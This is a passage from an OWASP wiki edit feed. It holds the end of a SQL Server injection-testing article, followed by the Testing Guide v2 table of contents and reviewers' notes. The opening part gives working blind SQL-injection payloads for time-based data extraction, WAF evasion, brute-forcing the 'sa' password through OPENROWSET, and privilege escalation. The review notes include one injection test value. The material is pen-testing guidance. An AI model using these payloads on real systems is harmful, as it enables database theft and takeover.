In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
===Example 8: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
We can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Table_of_Contents&amp;diff=13686</id>
		<title>OWASP Testing Guide v2 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Table_of_Contents&amp;diff=13686"/>
				<updated>2006-11-25T15:54:33Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* Web Application Penetration Testing  */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Updated 24th Nov, 12.00 GMT+1 &lt;br /&gt;
 Legend:&amp;lt;br&amp;gt;&lt;br /&gt;
 xx%: Progress status of the paragraph &amp;lt;br&amp;gt;&lt;br /&gt;
 Review: the paragraph need a review (Matteo Meucci)&amp;lt;br&amp;gt;&lt;br /&gt;
 TD: Paragraph To Be Assigned&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide OWASP Testing Guide AoC]]&lt;br /&gt;
&lt;br /&gt;
[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Review_Panel Review Panel]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece AoC|Frontispiece]]==&lt;br /&gt;
&lt;br /&gt;
'''1.1 About the OWASP Testing Guide Project'''&amp;lt;br&amp;gt;&lt;br /&gt;
1.1.1 Copyright                                        &amp;lt;br&amp;gt;&lt;br /&gt;
1.1.2 Editors	                                         (0%, Review)&amp;lt;br&amp;gt;&lt;br /&gt;
1.1.3 Authors and Reviewers 	                         (0%, Review)&amp;lt;br&amp;gt;&lt;br /&gt;
1.1.4 Revision History&amp;lt;br&amp;gt;&lt;br /&gt;
1.1.5 Trademarks&amp;lt;br&amp;gt;&lt;br /&gt;
'''1.2 About The Open Web Application Security Project''' &amp;lt;br&amp;gt;&lt;br /&gt;
1.2.1 Overview &amp;lt;br&amp;gt;&lt;br /&gt;
1.2.2 Structure &amp;lt;br&amp;gt;&lt;br /&gt;
1.2.3 Licensing &amp;lt;br&amp;gt;&lt;br /&gt;
1.2.4 Participation and Membership &amp;lt;br&amp;gt;&lt;br /&gt;
1.2.5 Projects &amp;lt;br&amp;gt;&lt;br /&gt;
1.2.6 OWASP Privacy Policy &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction AoC|Introduction]]==&lt;br /&gt;
'''2.1 The OWASP Testing Project'''                                       &amp;lt;br&amp;gt;&lt;br /&gt;
'''2.2 Principles of Testing'''                                           &amp;lt;br&amp;gt;&lt;br /&gt;
'''2.3 Testing Techniques Explained'''                                    &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework AoC|The OWASP Testing Framework]]==&lt;br /&gt;
'''3.1. Overview'''                                        &amp;lt;br&amp;gt;&lt;br /&gt;
'''3.2. Phase 1 — Before Development Begins '''&amp;lt;br&amp;gt;&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&amp;lt;br&amp;gt;&lt;br /&gt;
'''3.4. Phase 3: During Development'''&amp;lt;br&amp;gt;&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&amp;lt;br&amp;gt;&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&amp;lt;br&amp;gt;&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing AoC |Web Application Penetration Testing ]]==&lt;br /&gt;
'''4.1 Introduction and objectives'''	                              (Matteo Meucci)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''4.2 Information Gathering'''                         (Carlo Pelliccioni)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.1 Testing Web Application Fingerprint (Antonio Parata)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.2 Application Discovery (Mauro Bregolin)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.3 Spidering and googling                         (80%,	Tom Brennan, Tom Ryan)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.4 Analysis of error codes                         (Carlo Pelliccioni)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.5 Infrastructure configuration management testing                         &amp;lt;br&amp;gt;&lt;br /&gt;
4.2.5.1 SSL/TLS Testing                         (Mauro Bregolin, Mark Curphey)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.5.2 DB Listener Testing                         (60%, Eoin Keary, Matteo Meucci)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.6 Application configuration management testing                         (90%)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.6.1 File extensions handling                         (Mauro Bregolin)&amp;lt;br&amp;gt;&lt;br /&gt;
4.2.6.2 Old, backup and unreferenced files                         (Mauro Bregolin, Javier Fernandez Sanguino, Dafydd Studdard)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''4.3 Business logic testing'''                                        (Madhura Halasgikar)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''4.4 Authentication Testing'''	                                     (Meucci)&amp;lt;br&amp;gt;&lt;br /&gt;
4.4.1 Default or guessable (dictionary) user account              &amp;lt;br&amp;gt;&lt;br /&gt;
4.4.2 Brute Force                                                  (Giorgio Fedon, Andrea Lombardini)&amp;lt;br&amp;gt;&lt;br /&gt;
4.4.3 Bypassing authentication schema                              (Giorgio Fedon, Andrea Lombardini)&amp;lt;br&amp;gt;&lt;br /&gt;
4.4.4 Directory traversal/file include                             (Luca Carettoni)&amp;lt;br&amp;gt;&lt;br /&gt;
4.4.5 Vulnerable remember password and pwd reset                  (Ralph M. Los,Alberto Revelli)&amp;lt;br&amp;gt;&lt;br /&gt;
4.4.6 Logout and Browser Cache Management Testing                                   (Alberto Revelli)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''4.5 Session Management Testing'''                                        (Glyn Geoghegan, Meucci)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.1 Analysis of the Session Management Schema (Meucci)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.2 Cookie and Session token Manipulation  (Alberto Revelli, Matteo Meucci) &amp;lt;br&amp;gt;   &lt;br /&gt;
4.5.3 Exposed session variables	                              (Meucci)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.4 Session Riding (XSRF)  (Mauro Bregolin,Review)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.5 HTTP Exploit                                                 (0%, Arian J.Evans)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''4.6 Data Validation Testing'''                                        (Meucci)		&amp;lt;br&amp;gt;	&lt;br /&gt;
4.6.1 Cross site scripting (80%, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.1.1 HTTP Methods and XST (Alberto Revelli) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2 SQL Injection (Antonio Parata) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.1 Stored procedure injection (40%,Gary Burns)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.2 Oracle testing (0%,TD) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.3 MySQL testing (Stefano Di Paola) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.4 SQL Server testing (95%,Ariel Waissbein, Laura Nuñez, Alberto Revelli)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.3 LDAP Injection (Stefano Di Paola) &amp;lt;br&amp;gt; &lt;br /&gt;
4.6.4 ORM Injection (100%,Mark Roxberry) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.5 XML Injection (Antonio Parata, Stefano Di Paola) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.6 SSI Injection (Claudio Merloni) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.7 XPath Injection (Antonio Parata, Alberto Revelli, Stefano Di Paola) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.8 IMAP/SMTP Injection (Vicente Aguilera) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.9 Code Injection (100%, Mark Roxberry) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.10 OS Commanding (70%, Gary Burns) &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.11 Buffer overflow Testing &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.11.1 Heap overflow &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.11.2 Stack overflow &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.11.3 Format string &amp;lt;br&amp;gt;&lt;br /&gt;
4.6.12 Incubated vulnerability testing (95%,Ariel Waissbein, Laura Nuñez) &amp;lt;br&amp;gt;&lt;br /&gt;
'''4.7 Denial of Service Testing'''                                           &amp;lt;br&amp;gt;&lt;br /&gt;
4.7.1 Locking Customer Accounts          Review&amp;lt;br&amp;gt;&lt;br /&gt;
4.7.2 Buffer Overflows                                           	&amp;lt;br&amp;gt;	&lt;br /&gt;
4.7.3 User Specified Object Allocation                           &amp;lt;br&amp;gt;		&lt;br /&gt;
4.7.4 User Input as a Loop Counter                               &amp;lt;br&amp;gt;&lt;br /&gt;
4.7.5 Writing User Provided Data to Disk                        &amp;lt;br&amp;gt;&lt;br /&gt;
4.7.6 Failure to Release Resources                              &amp;lt;br&amp;gt;&lt;br /&gt;
4.7.7 Storing too Much Data in Session                          &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''4.8 Web Services Testing''' (Eoin Keary, Mark Roxberry)&amp;lt;br&amp;gt;&lt;br /&gt;
4.8.1 XML Structural Testing &amp;lt;br&amp;gt;&lt;br /&gt;
4.8.2 XML content-level Testing &amp;lt;br&amp;gt;&lt;br /&gt;
4.8.3 HTTP GET parameters/REST Testing &amp;lt;br&amp;gt;&lt;br /&gt;
4.8.4 Naughty SOAP attachments	&amp;lt;br&amp;gt;&lt;br /&gt;
4.8.5 Replay Testing       &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''4.9 AJAX Testing'''    (70%, Dan Cornell, Giorgio Fedon, Stefano Di Paola)&amp;lt;br&amp;gt;&lt;br /&gt;
4.9.1 Vulnerabilities (90%, Anush Shetty) &amp;lt;br&amp;gt;&lt;br /&gt;
4.9.2  How to test (60%)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk AoC |Writing Reports: value the real risk ]]==&lt;br /&gt;
'''5.1 How to value the real risk'''	                              (90%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana)&amp;lt;br&amp;gt;&lt;br /&gt;
'''5.2 How to write the report of the testing'''	                      (20%, Daniel Cuthbert, Tom Brennan, Tom Ryan)	TD&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
(90%)&amp;lt;br&amp;gt;&lt;br /&gt;
* Black Box Testing Tools&lt;br /&gt;
* Source Code Analyzers&lt;br /&gt;
* Other Tools&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
(70%)&amp;lt;br&amp;gt;&lt;br /&gt;
* Whitepapers&amp;lt;br&amp;gt;&lt;br /&gt;
* Books&amp;lt;br&amp;gt;&lt;br /&gt;
* Articles&amp;lt;br&amp;gt;&lt;br /&gt;
* Useful Websites&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
(70%)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=13610</id>
		<title>OWASP Testing Guide v2 Review Panel</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=13610"/>
				<updated>2006-11-23T15:52:28Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Update: 20th November, 10.00 (GMT+1)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Reviewing planning&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The reviewers are:&lt;br /&gt;
Mark Roxberry,&lt;br /&gt;
Alberto Revelli,&lt;br /&gt;
Daniel Cuthbert,&lt;br /&gt;
Antonio Parata,&lt;br /&gt;
Matteo G.P. Flora,&lt;br /&gt;
Matteo Meucci,&lt;br /&gt;
Eoin Keary,&lt;br /&gt;
Stefano Di Paola,&lt;br /&gt;
James Kist,&lt;br /&gt;
Vicente Aguilera,&lt;br /&gt;
Mauro Bregolin,&lt;br /&gt;
Syed Mohamed A,&lt;br /&gt;
Paul Davies&lt;br /&gt;
&lt;br /&gt;
* II phase reviewing&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Here is the complete list of articles to be reviewed: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Introduction --&amp;gt; reviewed by Eoin Keary'''&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''The OWASP Testing Framework --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.1 Introduction and objectives --&amp;gt;.EK'''&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.2 Information Gathering (Reviewed by EK) --&amp;gt; Keary'''&lt;br /&gt;
9 of 10 articles reviewed -&amp;gt; &amp;lt;BR&amp;gt; &lt;br /&gt;
* '''Testing Web Application Fingerprint''' -added new article &lt;br /&gt;
* '''Application Discovery''': &lt;br /&gt;
** Reviewed + updated(EK) (Maybe we should include HTTP methods for application descovery, such as HTTP HEAD command?)&amp;lt;BR&amp;gt;&lt;br /&gt;
** (Bregolin) If you are referring to things such as &amp;quot;fingerprinting&amp;quot;, it was hinted - and I personally agree on this - to create a new section on Web application fingerprinting. There's however a bit of overlap with Infrastructure configuration management testing&lt;br /&gt;
* '''Analysis of error codes''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
** Besides the own error, it would be necessary to speak about the voluntary provocation of errors? (Vicente). Two examples: &amp;lt;BR&amp;gt;&lt;br /&gt;
*** Example 1: Type error. (original): ?id=276 (test): ?id=X &amp;lt;BR&amp;gt;&lt;br /&gt;
*** Example 2: Type conversion error. (original): ?id=276 (test): ?id=276 and 1 in (select top 1 name from sysobjects) &amp;lt;BR&amp;gt;&lt;br /&gt;
** (Bregolin) Agree with the above. A testing methodology should be formalized, i.e. tester should verify if it is possible to cause information disclosure in error or diagnostic messages by tampering with user-alterable input using a set of techniques (such as type mismatch, overflow/underflow, excess input length, various forms of injection, ...)&lt;br /&gt;
* '''Infrastructure configuration management testing AoC''': &lt;br /&gt;
** Reviewed by EK. '''Not in typical guide structure -&amp;gt; (MM: I've changed the structure)'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''SSL/TLS Testing AoC''': &lt;br /&gt;
** Reviewed + updated(EK). '''(Reviewed by MM: changed the structure)'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''DB Listener Testing''': &lt;br /&gt;
** '''Incomplete'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Application configuration management testing''': &lt;br /&gt;
** Reviewed by EK. '''Not typical guide structure -&amp;gt; (MM: I've changed the structure)'''&lt;br /&gt;
** This is generally a &amp;quot;white box&amp;quot; section. There are no examples of testing the configuration from a remote perspective. If this was the aim of the document, thats fine. '''- Need feedback on this one!!'''&lt;br /&gt;
** ''Sample/known files and directories'': might be good to refer to http://www.owasp.org/index.php/Old_file_testing_AoC ??&lt;br /&gt;
** ''Logging'': Timestamp is also important&lt;br /&gt;
* '''File extensions handling'''&amp;lt;BR&amp;gt;&lt;br /&gt;
** contains the text: &amp;quot;''...To review and expand...''&amp;quot; - '''Is this complete??'''&lt;br /&gt;
** '''Need a second opinion on this one'''!! :)&lt;br /&gt;
* '''Old file testing''': Reviewed by EK&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.3 Business logic testing --&amp;gt; Meucci'''&lt;br /&gt;
1 of 1 article reviewed &lt;br /&gt;
'''[OK]'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.4 Authentication Testing --&amp;gt; Roxberry (articles have been edited)'''&lt;br /&gt;
0 of 7 articles to be reviewed &lt;br /&gt;
'''[OK]'''&lt;br /&gt;
** 4.4 Authentication Testing (95%) : Reviewed by MR, Paul Davies to push to 100%&lt;br /&gt;
** 4.4.1 Default or guessable (dictionary) user account (80%) : Reviewed by MR &lt;br /&gt;
** 4.4.2 Brute Force (95%) : Reviewed by MR&lt;br /&gt;
** 4.4.3 Bypassing authentication schema (95%) : Reviewed by MR &lt;br /&gt;
** 4.4.4 Directory traversal/file include (100%) : Reviewed by MR &lt;br /&gt;
** 4.4.5 Vulnerable remember password and pwd reset (90%) Reviewed by MR&lt;br /&gt;
** 4.4.6 Logout and Browser Cache Management Testing (100%) Reviewed by MR&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.5 Session Management Testing --&amp;gt; Syed Mohamed A'''&lt;br /&gt;
5 of 6 articles to be reviewed  &lt;br /&gt;
** 4.5 Session Management Testing (95%-&amp;gt;100%)&lt;br /&gt;
** 4.5.1 Analysis of the Session Management Schema (90%-&amp;gt;100%)&lt;br /&gt;
** 4.5.2 Cookie and Session token Manipulation (100%)&lt;br /&gt;
** 4.5.3 Exposed session variables (90%-&amp;gt;100%)&lt;br /&gt;
** 4.5.4 Session Riding (XSRF) (80%-&amp;gt;100%)&lt;br /&gt;
** 4.5.5 HTTP Exploit (0%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.6 Data Validation Testing --&amp;gt; Meucci'''&lt;br /&gt;
18 articles reviewed (3 are at 0%)&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
** 4.6 Data Validation Testing : Reviewed by EK&lt;br /&gt;
*** (Bregolin) begin&lt;br /&gt;
*** [Note: Haven't committed the following since that would imply a substantial rewrite, let's see what others think]&lt;br /&gt;
*** I think that this section should first categorize what constitutes input for a web application. (Which allows to identify what must be tested, and how). i.e., obviously input fields, hidden fields, HTTP headers (such as Referer, cookies), HTTP methods etc.&lt;br /&gt;
*** There are other kinds of injection, such as CRLF injection.&lt;br /&gt;
*** SQL Injection affects SQL statements, and not queries (though usually that's the case)&lt;br /&gt;
*** It should be stressed that the main reason to perform data validation is to prevent application faults, i.e. unexpected behavior, that is violation of (security) requirements. Regardless of the categories of vulnerabilities listed, an application should (actually must!) verify all input against: type, length, range or domain validity. &amp;quot;Bad&amp;quot; input may not cause any of the listed vulnerabilities yet cause the application to misbehave, if it is not checked (possibly causing DoS or violating data integrity or confidentiality).&lt;br /&gt;
*** (Bregolin) end&lt;br /&gt;
** 4.6.1 Cross site scripting: Reviewed by EK (Reformatted it slightly with wiki tags). '''Not completed'''&lt;br /&gt;
** 4.6.1.1 HTTP Methods and XST Reviewed by MM. Reviewed by AP.&lt;br /&gt;
** 4.6.2 SQL Injection (90%-&amp;gt;100%) Reviewed by MM. Reviewed by EK.&lt;br /&gt;
*** Not sure about &amp;quot;inferential&amp;quot; injection definition in &amp;quot;Description of Issue&amp;quot;&lt;br /&gt;
*** Added some reference to Oracle. Corrected English.&lt;br /&gt;
** 4.6.2.1 Stored procedure injection (40%) '''TD (not enough informations)'''&lt;br /&gt;
**4.6.2.2 Oracle testing (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.2.3 MySQL testing (100%) Reviewed by MM&lt;br /&gt;
** 4.6.2.4 SQL Server testing (95%) Reviewed by MM. Reviewed by AR.&lt;br /&gt;
** 4.6.3 LDAP Injection (90%) Reviewed by MM added wp and tools&lt;br /&gt;
** 4.6.4 ORM Injection (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.5 XML Injection (90%) Reviwed and updated by MM. '''WP and tools?'''&lt;br /&gt;
** 4.6.6 SSI Injection (95%-&amp;gt;100%) Reviewed by MM &lt;br /&gt;
** 4.6.7 XPath Injection (80%) Reviewed by MM. '''Gray box section is to complete?'''&lt;br /&gt;
** 4.6.8 IMAP/SMTP Injection (95%-&amp;gt;100%)Reviewed by MM &lt;br /&gt;
** 4.6.9 Code Injection (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.10 OS Commanding (70%) Reviewed by MM + added an example. '''Not completed'''&lt;br /&gt;
** 4.6.11 Buffer overflow Testing (100%) Reviewed by MM. '''Note: these tests are not usual web app tests'''&lt;br /&gt;
*** (Bregolin) The point is that these are not black box tests, so where they are now they are misplaced&lt;br /&gt;
** 4.6.11.1 Heap overflow (100%) Reviewed by MM&lt;br /&gt;
** 4.6.11.2 Stack overflow (100%)Reviewed by MM&lt;br /&gt;
** 4.6.11.3 Format string (100%)Reviewed by MM&lt;br /&gt;
** 4.6.12 Incubated vulnerability testing (95%) Reviewed by MM, whitepapers?&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''4.7 Denial of Service Testing--&amp;gt; Revelli'''&lt;br /&gt;
8 of 8 articles Reviewed&lt;br /&gt;
'''[OK] - To do the References'''&lt;br /&gt;
** 4.7 Denial of Service Testing 100% Reviewed by Revelli&lt;br /&gt;
** 4.7.1 Locking Customer Accounts 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.2 Buffer Overflows 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.3 User Specified Object Allocation 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.4 User Input as a Loop Counter 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.5 Writing User Provided Data to Disk 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.6 Failure to Release Resources 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.7 Storing too Much Data in Session 100% Reviewd by Revelli&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.8 Web Services Testing --&amp;gt; Matteo Meucci'''&lt;br /&gt;
6 of 6 articles reviewed&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
** 4.8 Web Services Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.1 XML Structural Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.2 XML content-level Testing (90%-&amp;gt;100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.3 HTTP GET parameters/REST Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.4 Naughty SOAP attachments (95%-&amp;gt;100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.5 Replay Testing (95%-&amp;gt;100%) Reviewed by Meucci. &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.9 AJAX Testing --&amp;gt; Roxberry'''&lt;br /&gt;
3 of 3 articles to be reviewed &lt;br /&gt;
** 4.9 AJAX Testing (70%)&lt;br /&gt;
** 4.9.1 Vulnerabilities (60%)&lt;br /&gt;
** 4.9.2 How to test (60%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''5. Writing Reports: value the real risk'''&lt;br /&gt;
We have to write about it. I consider it not yet finished.&lt;br /&gt;
O of 3 articles to be reviewed.&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
